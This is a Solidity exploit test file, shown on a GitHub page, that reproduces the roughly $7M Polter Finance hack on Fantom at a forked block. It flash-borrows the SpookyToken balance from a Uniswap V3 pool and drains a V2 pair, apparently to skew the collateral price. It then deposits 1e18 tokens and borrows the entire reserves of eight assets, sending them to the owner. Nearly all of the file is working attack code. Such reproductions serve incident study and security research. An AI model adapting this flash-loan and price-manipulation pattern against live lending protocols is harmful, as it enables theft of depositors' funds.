forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 1
/
PolterFinance_exploit.sol
226 lines (202 loc) · 9.76 KB
/
PolterFinance_exploit.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : $7M
// Attacker : https://ftmscan.com/address/0x511f427Cdf0c4e463655856db382E05D79Ac44a6
// Attack Contract : https://ftmscan.com/address/0xA21451aC32372C123191B3a4FC01deB69F91533a
// Vulnerable Contract : https://ftmscan.com/address/0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5
// Attack Tx : https://ftmscan.com/tx/0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac
// @Info
// Vulnerable Contract Code : https://ftmscan.com/address/0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5#code
// @Analysis
// Post-mortem : https://twitter.com/Bcpaintball26/status/1857865758551805976
// Twitter Guy : https://twitter.com/Bcpaintball26/status/1857865758551805976
// Hacking God : https://twitter.com/Bcpaintball26/status/1857865758551805976
pragma solidity ^0.8.0;
contract PolterFinance is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 97508838;
function setUp() public {
vm.createSelectFork("fantom", blocknumToForkFrom);
//Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
// WFTM
fundingToken = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
// Lots of other token does not count in here, but you can check.
}
function testExploit() public balanceLog {
//implement exploit code here
EXPLOIT_DO3 it = new EXPLOIT_DO3(address(this));
it.doTask();
}
function run() external {
EXPLOIT_DO3 it = new EXPLOIT_DO3(address(this));
it.doTask();
console.log("wftm balance: %e", WFTM.balanceOf(address(this)));
}
}
IERC20 constant spookyToken = IERC20(address(0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE));
IERC20 constant WFTM = IERC20(address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83));
IERC20 constant MIM = IERC20(address(0x82f0B8B456c1A451378467398982d4834b6829c1));
IERC20 constant sFTMX = IERC20(address(0xd7028092c830b5C8FcE061Af2E593413EbbC1fc1));
IERC20 constant axlUSDC = IERC20(address(0x1B6382DBDEa11d97f24495C9A90b7c88469134a4));
IERC20 constant wBTC = IERC20(address(0xf1648C50d2863f780c57849D812b4B7686031A3D));
IERC20 constant wETH = IERC20(address(0x695921034f0387eAc4e11620EE91b1b15A6A09fE));
IERC20 constant USDCe = IERC20(address(0x2F733095B80A04b38b0D10cC884524a3d09b836a));
IERC20 constant wSOL = IERC20(address(0xd99021C2A33e4Cf243010539c9e9b7c52E0236c1));
Uni_Pair_V3 constant WFTM_SpookyToken_V3Pool = Uni_Pair_V3(address(0xEd23Be0cc3912808eC9863141b96A9748bc4bd89));
IUniswapV2Pair constant JFTM_SpookyToken_V2Pool = IUniswapV2Pair(address(0xEc7178F4C41f346b2721907F5cF7628E388A7a58));
PitfallInterface constant pitfall = PitfallInterface(address(0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5));
LendingPoolInterface constant lendingPool = LendingPoolInterface(address(0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5));
Uni_Router_V2 constant router = Uni_Router_V2(address(0xF491e7B69E4244ad4002BC14e878a34207E38c29));
contract EXPLOIT_DO3 {
address owner;
constructor(address _owner) {
owner = _owner;
}
function doTask() public payable {
WFTM_SpookyToken_V3Pool.flash(address(this), 0, spookyToken.balanceOf(address(WFTM_SpookyToken_V3Pool)), "");
}
function uniswapV3FlashCallback(uint256, uint256 fee1, bytes calldata) external {
uint256 needToRepay = spookyToken.balanceOf(address(this)) + fee1;
JFTM_SpookyToken_V2Pool.swap(
0,
spookyToken.balanceOf(address(JFTM_SpookyToken_V2Pool)) - 1e6,
address(this),
"0"
);
WFTM.approve(address(router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(WFTM);
path[1] = address(spookyToken);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(5e21, 0, path, address(this), block.timestamp);
// console.log("needToRepay: %e", needToRepay);
// console.log("having: %e", spookyToken.balanceOf(address(this)));
spookyToken.transfer(address(WFTM_SpookyToken_V3Pool), needToRepay);
spookyToken.transfer(address(owner), spookyToken.balanceOf(address(this)));
WFTM.transfer(address(owner), WFTM.balanceOf(address(this)));
}
function uniswapV2Call(address s, uint256 a0, uint256 a1, bytes calldata data) external {
spookyToken.approve(address(pitfall), 1e18);
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(spookyToken));
spookyToken.balanceOf(address(0x258345C300629198eDC37B169d3E1a0FEcCf09c1));
}
pitfall.deposit(address(spookyToken), 1e18, address(this), 0);
// lendingPool.getUserAccountData(address(this));
// exploits
{
// WFTM token
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(WFTM));
pitfall.borrow(address(WFTM), WFTM.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
WFTM.balanceOf(address(this));
}
// MIM token
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(MIM));
pitfall.borrow(address(MIM), MIM.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
MIM.transfer(address(owner), MIM.balanceOf(address(this)));
}
// sFTMX token
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(sFTMX));
pitfall.borrow(address(sFTMX), sFTMX.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
sFTMX.transfer(address(owner), sFTMX.balanceOf(address(this)));
}
// axlUSDC token
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(axlUSDC));
pitfall.borrow(address(axlUSDC), axlUSDC.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
axlUSDC.transfer(address(owner), axlUSDC.balanceOf(address(this)));
}
// wBTC token
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wBTC));
pitfall.borrow(address(wBTC), wBTC.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
wBTC.transfer(address(owner), wBTC.balanceOf(address(this)));
}
// wETH token
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wETH));
pitfall.borrow(address(wETH), wETH.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
wETH.transfer(address(owner), wETH.balanceOf(address(this)));
}
// USDCe token
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(USDCe));
pitfall.borrow(address(USDCe), USDCe.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
USDCe.transfer(address(owner), USDCe.balanceOf(address(this)));
}
// wSOL token
{
PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wSOL));
pitfall.borrow(address(wSOL), wSOL.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
wSOL.transfer(address(owner), wSOL.balanceOf(address(this)));
}
}
spookyToken.transfer(address(JFTM_SpookyToken_V2Pool), (a1 * 1000) / 998 + 1);
}
}
interface LendingPoolInterface {
// getUserAccountData
function getUserAccountData(
address a
)
external
returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
}
interface PitfallInterface {
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 refCode) external;
function getReservesList() external returns (address[] memory);
function getReserveData(address asset) external returns (ReserveData memory);
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 refCode,
address onBehalfOf
) external;
}